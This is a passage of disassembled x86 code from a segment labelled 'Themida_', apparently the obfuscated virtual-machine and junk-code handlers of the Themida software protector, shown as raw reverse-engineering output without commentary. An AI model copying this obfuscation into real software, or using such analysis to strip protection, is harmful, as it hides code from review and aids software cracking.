		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_5AA628
; ---------------------------------------------------------------------------


loc_5A0DEA:				; CODE XREF: Themida_:005AB40Cj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_59DF40
; ---------------------------------------------------------------------------


loc_5A0DF8:				; CODE XREF: Themida_:005A62CDj
		mov	edx, [esp]
		jmp	loc_5A40B2
; ---------------------------------------------------------------------------


loc_5A0E00:				; CODE XREF: Themida_:005A8C14j
		mov	ecx, 469B2150h
		shl	ecx, 5
		shr	ecx, 3
		shl	ecx, 5
		xor	ecx, 6D2D8926h
		or	ebx, ecx
		jmp	loc_59F927
; ---------------------------------------------------------------------------


loc_5A0E1B:				; CODE XREF: Themida_:005A7AB7j
		pop	eax
		jmp	loc_5A8926
; ---------------------------------------------------------------------------


loc_5A0E21:				; CODE XREF: Themida_:005AEFAAj
		not	edx
		xchg	edx, ebp
		sub	ebp, 4D521BEAh
		add	ebp, 79C201Dh
		xor	ebp, 4683A6DEh
		sub	edx, ebp
		jmp	loc_5A8BAA
; ---------------------------------------------------------------------------


loc_5A0E3E:				; CODE XREF: Themida_:005A3CB6j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A0E43:				; CODE XREF: Themida_:005ADF85j
		add	ecx, 3419449Dh
		sub	ecx, 413D1BCBh
		jmp	loc_5AAA25
; ---------------------------------------------------------------------------


loc_5A0E54:				; CODE XREF: Themida_:0059AB76j
		jnz	loc_59CC81
		add	ebp, 1837740Eh
		jl	loc_598A1C
		push	esi


loc_5A0E67:				; CODE XREF: Themida_:005AD9D8j
		push	esi
		jmp	loc_5AB5D0
; ---------------------------------------------------------------------------


loc_5A0E6D:				; CODE XREF: Themida_:005AABBAj
		neg	edi
		jbe	loc_5A05B2
		shr	edi, 8
		jp	loc_598BC5
		add	edi, 1B748BEFh


loc_5A0E84:				; CODE XREF: Themida_:005A4378j
		neg	ebx
		jbe	loc_5A60EB
		and	ebx, 68BB541Dh
		jmp	loc_59B09F
; ---------------------------------------------------------------------------
		mov	ebx, esi
		pop	esi


loc_5A0E9A:				; CODE XREF: Themida_:005A9F7Ej
		push	ecx
		mov	ecx, esp
		jmp	loc_5A479D
; ---------------------------------------------------------------------------


loc_5A0EA2:				; CODE XREF: Themida_:005A31D3j
		not	ecx
		push	53A5h
		mov	[esp], ebx
		mov	ebx, 5A657D99h
		xor	ecx, ebx
		jmp	loc_59A60A
; ---------------------------------------------------------------------------


loc_5A0EB8:				; CODE XREF: Themida_:005A65DAj
					; Themida_:005ABC96j
		add	edx, 56D002BBh
		jmp	loc_59A6B6
; ---------------------------------------------------------------------------


loc_5A0EC3:				; CODE XREF: Themida_:0059EC59j
		add	ebx, ecx
		pop	ecx
		sub	ebx, 21F238B3h
		add	ebx, ebp
		add	ebx, 21F238B3h
		sub	ebx, 24045320h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59F7A4
; ---------------------------------------------------------------------------


loc_5A0EE8:				; CODE XREF: Themida_:005A4CAFj
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A0EF2:				; CODE XREF: Themida_:00599EC9j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A1BD2
; ---------------------------------------------------------------------------


loc_5A0F04:				; CODE XREF: Themida_:005A89EFj
		add	esp, 4
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A0F16:				; CODE XREF: Themida_:0059F56Dj
		add	ecx, edx
		pop	edx
		push	eax
		mov	eax, 580E1CA5h
		sub	ecx, 5ADF18C3h
		sub	ecx, eax
		add	ecx, 5ADF18C3h
		jmp	loc_59B033
; ---------------------------------------------------------------------------


loc_5A0F32:				; CODE XREF: Themida_:loc_59F510j
		and	ebx, 11D108BBh
		jle	loc_5AEF31
		sub	ebx, 1000C09Bh
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5AE121
; ---------------------------------------------------------------------------


loc_5A0F4F:				; CODE XREF: Themida_:0059B3BBj
		pop	ebp
		add	eax, edi
		add	eax, 731926F3h
		sub	eax, 122D24E4h
		jmp	loc_5A11E3
; ---------------------------------------------------------------------------


loc_5A0F61:				; CODE XREF: Themida_:005A486Fj
		push	65B4h
		mov	[esp], edx
		jmp	loc_59DBDB
; ---------------------------------------------------------------------------


loc_5A0F6E:				; CODE XREF: Themida_:005A9FB6j
		not	esi
		push	ebx
		mov	ebx, 0FF7FFEF9h
		xor	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	ecx, esi
		pop	esi
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		jmp	loc_5AD210
; ---------------------------------------------------------------------------


loc_5A0F8C:				; CODE XREF: Themida_:005ABF5Fj
		xor	eax, 1B8A5385h
		mov	edi, eax
		pop	eax
		shl	edi, 1
		sub	edi, 46D13434h
		add	esi, edi
		jmp	loc_59EF24
; ---------------------------------------------------------------------------


loc_5A0FA3:				; CODE XREF: Themida_:005989FEj
		pop	esp
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5A4A0C
; ---------------------------------------------------------------------------


loc_5A0FAF:				; CODE XREF: Themida_:0059E154j
		push	ax
		mov	al, 7Fh
		jmp	loc_5A067F
; ---------------------------------------------------------------------------


loc_5A0FB8:				; CODE XREF: Themida_:0059BC0Ej
		shr	ebp, 7
		sub	ebp, 0FFFFFFFFh
		add	ebp, 67A722BCh
		sub	ebp, 68A641B2h
		add	ecx, ebp
		pop	ebp
		jmp	loc_5ACEF5
; ---------------------------------------------------------------------------


loc_5A0FD5:				; CODE XREF: Themida_:005A1365j
		add	ecx, 2
		xchg	ecx, [esp]
		mov	esp, [esp]
		div	cl
		movzx	cx, ah
		push	small 5121h
		mov	[esp], cx
		jmp	loc_5AC45B
; ---------------------------------------------------------------------------


loc_5A0FF4:				; CODE XREF: Themida_:005AC215j
		add	eax, 4
		add	eax, 4
		jmp	loc_5A6BD4
; ---------------------------------------------------------------------------


loc_5A1001:				; CODE XREF: Themida_:005A40D8j
		mov	al, 7Eh
		push	1DEAh
		mov	[esp], ecx
		jmp	loc_5A26BC
; ---------------------------------------------------------------------------


loc_5A1010:				; CODE XREF: Themida_:005AADF3j
		mov	ebp, 45D15DF8h
		sub	ecx, ebp
		pop	ebp
		add	ecx, 7E30678Eh
		jmp	loc_59B465
; ---------------------------------------------------------------------------


loc_5A1023:				; CODE XREF: Themida_:005A6F88j
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		jmp	loc_5A6AA6
; ---------------------------------------------------------------------------


loc_5A1036:				; CODE XREF: Themida_:005A53C7j
		push	2803h
		jmp	loc_5A4E4F
; ---------------------------------------------------------------------------


loc_5A1040:				; CODE XREF: Themida_:005AC0EFj
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 3D0669E3h
		push	edi
		mov	edi, 0B8C52F8h
		jmp	loc_5A253B
; ---------------------------------------------------------------------------


loc_5A1057:				; CODE XREF: Themida_:0059E1A9j
					; Themida_:005A26FDj
		mov	esp, [esp]
		or	[esp], eax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A1063:				; CODE XREF: Themida_:005A099Cj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_59DC5B
; ---------------------------------------------------------------------------


loc_5A1076:				; CODE XREF: Themida_:0059D16Ej
		jmp	loc_59B394
; ---------------------------------------------------------------------------


loc_5A107B:				; CODE XREF: Themida_:005A8562j
		push	edi
		mov	edi, 38616C74h
		add	eax, edi
		pop	edi
		push	dword ptr [esp]
		jmp	loc_59F625
; ---------------------------------------------------------------------------


loc_5A108C:				; CODE XREF: Themida_:005ACAD2j
		pop	esi
		add	ebx, 0FFFFFFFFh
		push	esi
		mov	esi, 24CE586Fh
		or	ebx, esi
		pop	esi
		add	ebx, 0BF6FF7Ah
		sub	eax, ebx
		jmp	loc_5AD5A5
; ---------------------------------------------------------------------------


loc_5A10A9:				; CODE XREF: Themida_:005A3F48j
		push	edx
		sub	esp, 4
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		jmp	loc_5991ED
; ---------------------------------------------------------------------------


loc_5A10BB:				; CODE XREF: Themida_:0059A750j
		add	esi, 962DF81Dh
		jmp	loc_5ABE4E
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	6B82h
		mov	[esp], ebp
		mov	ebp, esp
		push	1918h
		mov	[esp], ecx
		mov	ecx, 20D80287h
		shr	ecx, 1
		shr	ecx, 7
		jmp	loc_5AC287
; ---------------------------------------------------------------------------


loc_5A10EB:				; CODE XREF: Themida_:loc_5AF311j
		push	ebx
		jmp	loc_5A50C9
; ---------------------------------------------------------------------------


loc_5A10F1:				; CODE XREF: Themida_:005A4987j
		pop	ebx
		dec	dl
		not	dl
		sub	dl, 7Fh
		add	al, dl
		pop	edx
		jmp	loc_5A3A8F
; ---------------------------------------------------------------------------


loc_5A1101:				; CODE XREF: Themida_:005A5C61j
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_5A6A12
; ---------------------------------------------------------------------------


loc_5A1116:				; CODE XREF: Themida_:005A3755j
		mov	ecx, 4
		jmp	loc_5AB2BA
; ---------------------------------------------------------------------------


loc_5A1120:				; CODE XREF: Themida_:005ADE9Ej
		shr	ebx, 4
		jnz	loc_59C74D
		jmp	loc_59B033
; ---------------------------------------------------------------------------
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		push	esp


loc_5A1135:				; CODE XREF: Themida_:0059D91Cj
		add	esp, 4
		add	ebp, ebx
		push	ebx
		mov	ebx, 16164372h
		push	eax
		jmp	loc_598B0A
; ---------------------------------------------------------------------------


loc_5A1149:				; CODE XREF: Themida_:005A2596j
		xor	ecx, esi
		pop	esi
		neg	ecx
		inc	ecx
		dec	ecx
		sub	ecx, 372F84F6h
		sub	edx, ecx
		pop	ecx
		add	edx, edi
		add	edx, 6AFB43E6h
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ecx
		jmp	loc_59D432
; ---------------------------------------------------------------------------


loc_5A117A:				; CODE XREF: Themida_:0059B26Cj
		pop	esp
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A1180:				; CODE XREF: Themida_:0059AD5Ej
		dec	cl
		xor	cl, 0CCh
		push	ecx
		mov	ch, 64h
		dec	ch
		dec	ch
		jmp	loc_59EFF0
; ---------------------------------------------------------------------------


loc_5A1191:				; CODE XREF: Themida_:005A7C8Aj
		add	edx, 0EFA7DE0h
		jnz	loc_5A4A06
		inc	edx
		jmp	loc_5A4E59
; ---------------------------------------------------------------------------
		pop	esp
		add	eax, ecx
		pop	eax


loc_5A11A7:				; CODE XREF: Themida_:005995DAj
		xchg	eax, ecx
		jmp	loc_5AEF41
; ---------------------------------------------------------------------------


loc_5A11AD:				; CODE XREF: Themida_:0059A288j
		add	eax, ecx
		pop	ecx
		shr	eax, 6
		neg	eax
		neg	eax
		shr	eax, 2
		xchg	eax, esi
		jmp	loc_59CBDA
; ---------------------------------------------------------------------------


loc_5A11C0:				; CODE XREF: Themida_:0059D411j
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], eax
		push	22C96EF5h
		mov	eax, [esp]
		jmp	loc_5A247B
; ---------------------------------------------------------------------------


loc_5A11D6:				; CODE XREF: Themida_:loc_5A1652j
		sub	edi, 0E1FB5E3Dh
		mov	edx, edi
		jmp	loc_5A4CB4
; ---------------------------------------------------------------------------


loc_5A11E3:				; CODE XREF: Themida_:005A0F5Cj
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		test	ecx, eax
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A120C:				; CODE XREF: Themida_:00598F6Cj
		mov	cl, 0FAh
		and	cl, 94h
		shl	cl, 1
		sub	cl, 34h
		xor	cl, 43h
		jmp	loc_5ADCE5
; ---------------------------------------------------------------------------


loc_5A121E:				; CODE XREF: Themida_:005A1C73j
		mov	dh, 0EDh
		jmp	loc_5A5EF7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_5A7FF9
; ---------------------------------------------------------------------------


loc_5A1234:				; CODE XREF: Themida_:005AAB59j
		xchg	edx, [esp]
		pop	esp
		sub	al, cl
		mov	cx, [esp]
		add	esp, 2
		sub	al, 0A1h
		push	small 41C2h
		mov	[esp], bx
		push	58B9h
		jmp	loc_5A40CD
; ---------------------------------------------------------------------------


loc_5A1255:				; CODE XREF: Themida_:005A8BDAj
		inc	ch
		jge	loc_5ABBEB
		inc	ch
		jnp	loc_5AA8C2
		mov	dh, bh
		mov	ebx, ebx


loc_5A1269:				; CODE XREF: Themida_:loc_59C93Fj
		jmp	loc_5A8397
; ---------------------------------------------------------------------------


loc_5A126E:				; CODE XREF: Themida_:0059A73Fj
		and	[edi+1Ch], ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A36FE
; ---------------------------------------------------------------------------


loc_5A127F:				; CODE XREF: Themida_:0059E18Cj
					; Themida_:005A1FC8j
		or	eax, 3C1B7417h
		xor	eax, 6ED4B40h
		jmp	loc_5AAB1B
; ---------------------------------------------------------------------------


loc_5A128E:				; CODE XREF: Themida_:005AB4A6j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	edx
		mov	edx, 2FCF1890h
		push	edi
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 6ACC206Bh
		shl	ebx, 1
		xor	ebx, 5D4037E3h
		xor	ebx, 88D87731h
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_59FF3B
; ---------------------------------------------------------------------------


loc_5A12D1:				; CODE XREF: Themida_:005ADAC8j
		pop	ebx
		pop	eax
		push	66BCh
		mov	[esp], ecx
		mov	ecx, 43B6398Fh
		jmp	loc_5A775C
; ---------------------------------------------------------------------------


loc_5A12E5:				; CODE XREF: Themida_:005A6FEDj
					; Themida_:005AB0EAj
		push	edi
		mov	edi, ecx
		jmp	loc_599607
; ---------------------------------------------------------------------------


loc_5A12ED:				; CODE XREF: Themida_:005A4FBBj
		pop	esp
		jmp	loc_5A8692
; ---------------------------------------------------------------------------


loc_5A12F3:				; CODE XREF: Themida_:0059ABD8j
		and	ch, 0C7h
		add	ch, 0F0h
		dec	ch
		jmp	loc_59E14C
; ---------------------------------------------------------------------------


loc_5A1300:				; CODE XREF: Themida_:005A30A8j
		or	ch, 30h
		xor	ch, 45h
		sub	al, ch
		pop	ecx
		jmp	loc_599B7D
; ---------------------------------------------------------------------------


loc_5A130E:				; CODE XREF: Themida_:0059F7F8j
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A1313:				; CODE XREF: Themida_:005A8EBFj
		mov	eax, [esp]
		add	esp, 4
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_598EAF
; ---------------------------------------------------------------------------


loc_5A132C:				; CODE XREF: Themida_:005ADA8Ej
		mov	ebx, 5AB17492h
		xor	ebx, esi
		pop	esi
		sub	esi, ebx
		pop	ebx
		jmp	loc_59D0EC
; ---------------------------------------------------------------------------


loc_5A133C:				; CODE XREF: Themida_:005AE8B0j
		pop	esi
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_59F3C6
; ---------------------------------------------------------------------------


loc_5A134B:				; CODE XREF: Themida_:005A9D06j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5AA90C
; ---------------------------------------------------------------------------


loc_5A1356:				; CODE XREF: Themida_:0059C474j
					; Themida_:005A235Cj
		pop	esi
		push	ebp
		mov	ebp, 2A52E52h
		jmp	loc_59D38C
; ---------------------------------------------------------------------------


loc_5A1362:				; CODE XREF: Themida_:0059C584j
		add	ecx, ebp
		pop	ebp
		jmp	loc_5A0FD5
; ---------------------------------------------------------------------------


loc_5A136A:				; CODE XREF: Themida_:005A010Fj
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A9D03
; ---------------------------------------------------------------------------


loc_5A1375:				; CODE XREF: Themida_:005A05D9j
		sub	edx, edi
		pop	edi
		add	edx, 563E0ACDh
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5ABFDC
; ---------------------------------------------------------------------------


loc_5A138F:				; CODE XREF: Themida_:005AC95Cj
					; Themida_:005AE905j
		imul	ecx
		jmp	loc_5A76BE
; ---------------------------------------------------------------------------


loc_5A1396:				; CODE XREF: Themida_:005A9C96j
		shr	ecx, 4
		js	loc_5A2534
		and	ecx, 3E0D1955h
		dec	ecx
		jmp	loc_5A471B
; ---------------------------------------------------------------------------


loc_5A13AB:				; CODE XREF: Themida_:005A34CAj
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_5AB4AB
; ---------------------------------------------------------------------------


loc_5A13BF:				; CODE XREF: Themida_:0059A78Fj
		mov	eax, [ecx]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_598CD9
; ---------------------------------------------------------------------------


loc_5A13CA:				; CODE XREF: Themida_:005A71C9j
		xchg	ebx, edx
		push	ebx
		jmp	loc_5AD440
; ---------------------------------------------------------------------------


loc_5A13D2:				; CODE XREF: Themida_:0059A20Fj
					; Themida_:005A195Bj ...
		push	4B0Ch
		jmp	loc_59BEA6
; ---------------------------------------------------------------------------


loc_5A13DC:				; CODE XREF: Themida_:005A55D5j
		xor	ebp, 22062963h
		inc	ebp
		jmp	loc_5A0C67
; ---------------------------------------------------------------------------


loc_5A13E8:				; CODE XREF: Themida_:005AE213j
		mov	ecx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_59A53E
; ---------------------------------------------------------------------------


loc_5A13F9:				; CODE XREF: Themida_:005A6A8Dj
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5A1E01
; ---------------------------------------------------------------------------


loc_5A1406:				; CODE XREF: Themida_:0059A027j
					; Themida_:005ADBFAj
		pop	ebp
		jmp	loc_5AA856
; ---------------------------------------------------------------------------


loc_5A140C:				; CODE XREF: Themida_:005A6066j
					; Themida_:005A9910j ...
		add	al, 85h
		and	al, 9Eh
		jmp	loc_5AC8F3
; ---------------------------------------------------------------------------


loc_5A1415:				; CODE XREF: Themida_:005AD354j
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, 7B151069h
		push	edx
		push	2255h
		mov	[esp], edi
		push	1B4A617Eh
		mov	edi, [esp]
		add	esp, 4
		dec	edi
		jnz	loc_5A1652
		jmp	loc_5ACFD9
; ---------------------------------------------------------------------------
		sub	dl, 51h
		or	dl, 0D7h
		inc	dl
		inc	dl


loc_5A144A:				; CODE XREF: Themida_:005A2B34j
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 78E4A62h
		push	ebp
		jmp	loc_5A60DE
; ---------------------------------------------------------------------------


loc_5A145F:				; CODE XREF: Themida_:0059EE42j
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	ebp
		mov	ebp, 2
		sub	edx, 1A9E3C29h
		jmp	loc_5A7489
; ---------------------------------------------------------------------------


loc_5A1478:				; CODE XREF: Themida_:005A4123j
		and	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59EA2D
; ---------------------------------------------------------------------------


loc_5A1485:				; CODE XREF: Themida_:0059C7A4j
		pop	esp
		jmp	loc_598D08
; ---------------------------------------------------------------------------


loc_5A148B:				; CODE XREF: Themida_:005A76ECj
					; Themida_:005A78ABj
		push	551Dh
		mov	[esp], ebx
		push	edi
		mov	edi, 3A51FCEh
		mov	ebx, 3E2E5BABh
		xor	ebx, edi
		jmp	loc_5A51CA
; ---------------------------------------------------------------------------


loc_5A14A5:				; CODE XREF: Themida_:0059CF7Cj
		shr	ebx, 5
		jmp	loc_5AEF95
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_5ACEC7
; ---------------------------------------------------------------------------


loc_5A14C1:				; CODE XREF: Themida_:0059BC63j
		sub	ebx, eax
		jmp	loc_5A339E
; ---------------------------------------------------------------------------


loc_5A14C8:				; CODE XREF: Themida_:005A03AFj
		add	edx, eax
		sub	edx, 5B475644h
		sub	edx, 3E587587h
		push	esi
		mov	esi, 7DC6FA4h
		push	53D6h
		mov	[esp], edi
		push	5AFDh
		mov	[esp], edx
		push	ebp
		push	17BB43B0h
		mov	ebp, [esp]
		add	esp, 4
		and	ebp, 59412548h
		jmp	loc_59D9E1
; ---------------------------------------------------------------------------


loc_5A1506:				; CODE XREF: Themida_:005A808Bj
		shr	cl, 1
		push	ebx
		mov	bh, 88h
		or	bh, 0CCh
		push	dx
		mov	dh, bh
		not	dh
		mov	bh, dh
		pop	dx
		sub	bh, 2Ah
		xor	cl, bh
		pop	ebx
		push	eax
		jmp	loc_5998A0
; ---------------------------------------------------------------------------


loc_5A1524:				; CODE XREF: Themida_:005A71D1j
		mov	[esp], edx
		push	esi
		jmp	loc_598D9F
; ---------------------------------------------------------------------------


loc_5A152D:				; CODE XREF: Themida_:005A3CF2j
		sub	al, 90h
		jg	loc_59BBA4
		xor	al, 89h
		jnp	loc_5A6975
		or	ah, 29h


loc_5A1540:				; CODE XREF: Themida_:005AA1E1j
		push	eax
		mov	ah, 10h
		or	ah, 6
		jmp	loc_5AF275
; ---------------------------------------------------------------------------


loc_5A154B:				; CODE XREF: Themida_:005A01BDj
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ecx
		jmp	loc_59E3E8
; ---------------------------------------------------------------------------


loc_5A155F:				; CODE XREF: Themida_:0059C4FEj
		mov	edi, [esp]
		jmp	loc_5A0C8B
; ---------------------------------------------------------------------------


loc_5A1567:				; CODE XREF: Themida_:0059DA20j
		mov	edx, [esp]
		push	1EA1h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 203F2153h
		add	esi, 6ACD2DDCh
		add	esi, 66CA0205h
		or	esi, 6DA054A4h
		push	eax
		mov	eax, 4D84563Dh
		jmp	loc_599AF4
; ---------------------------------------------------------------------------


loc_5A15A2:				; CODE XREF: Themida_:0059D0A5j
		mov	edx, 8C06801Ah
		jmp	loc_59A567
; ---------------------------------------------------------------------------


loc_5A15AC:				; CODE XREF: Themida_:0059B3CAj
		push	ebx
		jmp	loc_5A2504
; ---------------------------------------------------------------------------


loc_5A15B2:				; CODE XREF: Themida_:005A1D94j
		or	ah, 51h
		jo	loc_59CA0C
		push	ecx
		jmp	loc_5A718A
; ---------------------------------------------------------------------------


loc_5A15C1:				; CODE XREF: Themida_:005A9387j
		mov	esp, [esp]
		jmp	loc_59D5B8
; ---------------------------------------------------------------------------


loc_5A15C9:				; CODE XREF: Themida_:005ACD23j
		shr	eax, 8
		not	eax
		xor	eax, 99A14431h
		push	eax
		xor	dword ptr [esp], 651B092Dh
		jmp	loc_5A7E48
; ---------------------------------------------------------------------------


loc_5A15E0:				; CODE XREF: Themida_:005A1D14j
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59F1C3
; ---------------------------------------------------------------------------


loc_5A15EC:				; CODE XREF: Themida_:0059932Fj
		add	al, dh
		jmp	loc_5ADF2A
; ---------------------------------------------------------------------------


loc_5A15F3:				; CODE XREF: Themida_:0059FCC0j
					; Themida_:005A2F36j
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5A32F5
; ---------------------------------------------------------------------------


loc_5A15FD:				; CODE XREF: Themida_:005A6167j
		add	dh, 0BEh
		add	dh, 0FDh
		jmp	loc_5AD686
; ---------------------------------------------------------------------------


loc_5A1608:				; CODE XREF: Themida_:005AE430j
		add	edi, 4
		jmp	loc_59C365
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_5AB65F
; ---------------------------------------------------------------------------


loc_5A161B:				; CODE XREF: Themida_:005A6342j
		jo	loc_59EA97
		xor	ecx, 70EB0E1Ah
		push	ecx
		pop	edi
		pop	ecx
		shr	edi, 6
		shl	edi, 4
		not	edi
		sub	edi, 0DA0AE021h
		jmp	loc_59BE79
; ---------------------------------------------------------------------------


loc_5A163D:				; CODE XREF: Themida_:005AD328j
		mov	[esp], ecx
		push	ebx
		mov	ebx, 0A845718h
		jmp	loc_5ACF88
; ---------------------------------------------------------------------------


loc_5A164B:				; CODE XREF: Themida_:005AE7E6j
		add	edx, ecx
		jmp	loc_5A3BFA
; ---------------------------------------------------------------------------


loc_5A1652:				; CODE XREF: Themida_:005A1435j
					; Themida_:005AA29Dj
		jmp	loc_5A11D6
; ---------------------------------------------------------------------------


loc_5A1657:				; CODE XREF: Themida_:0059CB6Aj
		sub	dl, 51h
		or	dl, 0D7h
		inc	dl
		inc	dl
		push	ecx
		mov	cl, 6Bh
		xor	cl, 67h
		jmp	loc_5A6285
; ---------------------------------------------------------------------------


loc_5A166C:				; CODE XREF: Themida_:005A919Cj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A4C04
; ---------------------------------------------------------------------------


loc_5A1680:				; CODE XREF: Themida_:005A39AAj
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A16A8:				; CODE XREF: Themida_:0059F131j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5A3DEE
; ---------------------------------------------------------------------------


loc_5A16B3:				; CODE XREF: Themida_:005988ECj
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		push	6547h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_59D008
; ---------------------------------------------------------------------------


loc_5A16E9:				; CODE XREF: Themida_:0059D077j
		add	ebx, 40DD013Dh
		jns	loc_598C07
		not	ebx
		jmp	loc_5AF205
; ---------------------------------------------------------------------------
		xor	ecx, [esp]
		and	al, 2Bh


loc_5A1701:				; CODE XREF: Themida_:005AAF44j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		add	edi, 4
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	eax, 53A3469Fh
		xor	eax, 59FF336Dh
		jle	loc_59B705
		shl	eax, 2
		jnp	loc_5A713C
		neg	eax
		jmp	loc_5A3ED3
; ---------------------------------------------------------------------------
		mov	bl, ch
		push	esi


loc_5A1745:				; CODE XREF: Themida_:005AC3EAj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, eax
		push	edx
		add	dword ptr [esp], 4B0074ABh
		pop	ebx
		sub	ebx, 4B0074ABh
		jmp	loc_59FEB8
; ---------------------------------------------------------------------------


loc_5A1765:				; CODE XREF: Themida_:005AC07Dj
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		add	esp, 4
		mov	ecx, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_5A5F2F
; ---------------------------------------------------------------------------


loc_5A177D:				; CODE XREF: Themida_:005AE1F1j
		mov	edx, 6E765D0Fh
		sub	edi, edx
		pop	edx
		jmp	loc_59A5C3
; ---------------------------------------------------------------------------


loc_5A178A:				; CODE XREF: Themida_:005AB2F4j
		pop	esp
		jmp	loc_5A5AC9
; ---------------------------------------------------------------------------


loc_5A1790:				; CODE XREF: Themida_:0059A1B2j
		sub	ebx, ebp
		pop	ebp
		add	ebx, 158E7EFBh
		jmp	loc_598611
; ---------------------------------------------------------------------------


loc_5A179E:				; CODE XREF: Themida_:005A1B85j
		neg	edi
		shr	edi, 3
		shr	edi, 8
		not	edi
		jmp	loc_598A2E
; ---------------------------------------------------------------------------


loc_5A17AD:				; CODE XREF: Themida_:005AB238j
		or	eax, 4BC45546h
		jmp	loc_59FABB
; ---------------------------------------------------------------------------


loc_5A17B7:				; CODE XREF: Themida_:0059EF98j
		push	3A92h
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		jmp	loc_59E1AE
; ---------------------------------------------------------------------------


loc_5A17C7:				; CODE XREF: Themida_:loc_59C46Bj
		xor	cl, 5Ah
		jnp	loc_5A4C36
		sub	esp, 4
		mov	[esp], eax
		push	eax


loc_5A17DA:				; CODE XREF: Themida_:005A5A2Dj
		jns	loc_5989C7
		sub	esp, 4
		mov	[esp], edi
		push	ebx
		push	64C1h
		mov	[esp], ecx


loc_5A17EF:				; CODE XREF: Themida_:005A0832j
		pop	edi
		push	ecx
		mov	ecx, 53E41CC0h
		jmp	loc_59E263
; ---------------------------------------------------------------------------


loc_5A17FB:				; CODE XREF: Themida_:00598B47j
		mov	[esp], bx
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		push	edx
		jmp	loc_5A68A5
; ---------------------------------------------------------------------------


